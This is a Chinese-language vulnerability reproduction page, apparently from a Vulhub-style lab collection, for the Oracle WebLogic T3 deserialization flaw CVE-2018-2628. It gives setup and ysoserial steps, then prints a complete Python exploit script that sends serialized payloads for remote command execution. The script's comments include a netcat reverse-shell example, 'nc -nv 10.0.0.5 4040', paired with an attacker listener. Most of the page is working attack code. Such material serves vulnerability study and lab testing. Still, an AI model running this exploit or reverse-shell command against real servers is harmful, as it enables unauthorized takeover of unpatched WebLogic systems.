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160 lines
10 KiB
Markdown
160 lines
10 KiB
Markdown
# Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628
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## 漏洞描述
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Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。
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参考链接：
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- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
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- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
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- https://github.com/tdy218/ysoserial-cve-2018-2628
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## 环境搭建
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Vulhub执行如下命令启动Weblogic 10.3.6.0：
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```
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docker-compose up -d
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```
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等待环境启动（环境差异，有的机器可能等待的时间比较久），访问`http://your-ip:7001/console`，初始化整个环境。
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## 漏洞复现
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首先下载ysoserial，并启动一个JRMP Server：
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```
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java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
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```
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其中，`[command]`即为我想执行的命令，而`[listen port]`是JRMP Server监听的端口。
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然后，使用[exploit.py](https://www.exploit-db.com/exploits/44553)脚本（注意在python2环境下），向目标Weblogic（`http://your-ip:7001`）发送数据包：
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```
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python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
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```
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其中，`[victim ip]`和`[victim port]`是目标weblogic的IP和端口，`[path to ysoserial]`是本地ysoserial的路径，`[JRMPListener ip]`和`[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类，可选的值是`JRMPClient`或`JRMPClient2`。
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exploit.py执行完成后，执行`docker-compose exec weblogic bash`进入容器中，可见/tmp/awesome_poc已成功创建。
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## 漏洞POC
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```python
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# -*- coding: utf-8 -*-
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# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
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#
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# IMPORTANT: Is provided only for educational or information purposes.
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#
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# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
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# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
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#
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# How to exploit:
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# 1. run below command on JRMPListener host
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# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
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# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
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# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
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# 2. start a listener on attacker host
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# e.g. nc -nlvp 4040
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# 3. run this script on attacker host
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# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
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# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
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# e.g.
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# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
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# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
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from __future__ import print_function
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import binascii
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import os
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import socket
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import sys
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import time
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def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
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#generates ysoserial payload
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command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
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print("command: " + command)
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os.system(command)
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bin_file = open('payload.out','rb').read()
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return binascii.hexlify(bin_file)
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def t3_handshake(sock, server_addr):
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sock.connect(server_addr)
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sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
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time.sleep(1)
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sock.recv(1024)
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print('handshake successful')
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def build_t3_request_object(sock, port):
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data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
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data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
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data3 = '1a7727000d3234322e323134'
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data4 = '2e312e32353461863d1d0000000078'
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for d in [data1,data2,data3,data4]:
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sock.send(d.decode('hex'))
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time.sleep(2)
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print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
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def send_payload_objdata(sock, data):
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payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
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payload+=data
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payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
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payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
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sock.send(payload.decode('hex'))
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time.sleep(2)
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sock.send(payload.decode('hex'))
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res = ''
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try:
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while True:
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res += sock.recv(4096)
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time.sleep(0.1)
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except Exception:
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pass
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return res
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def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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sock.settimeout(65)
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server_addr = (dip, dport)
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t3_handshake(sock, server_addr)
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build_t3_request_object(sock, dport)
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payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
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print("payload: " + payload)
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rs=send_payload_objdata(sock, payload)
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print('response: ' + rs)
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print('exploit completed!')
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if __name__=="__main__":
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#check for args, print usage if incorrect
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if len(sys.argv) != 7:
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print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
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'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
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sys.exit()
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dip = sys.argv[1]
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dport = int(sys.argv[2])
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path_ysoserial = sys.argv[3]
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jrmp_listener_ip = sys.argv[4]
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jrmp_listener_port = sys.argv[5]
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jrmp_client = sys.argv[6]
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exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
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```
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